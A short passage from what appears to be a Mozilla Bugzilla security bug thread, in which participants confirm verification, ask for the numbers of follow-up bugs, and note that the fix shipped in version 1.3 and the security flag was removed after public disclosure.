[esther]

verified, new bugs logged for outstanding issues.

Comment 96

[Heikki Toivonen (remove -bugzilla when emailing directly)]

What are the numbers of the new bugs? Esther, Seth?

Comment 97

[Daniel Veditz [:dveditz]]

Fixed in 1.3, revealed on "Known vulnerabilities" page --> removing security flag.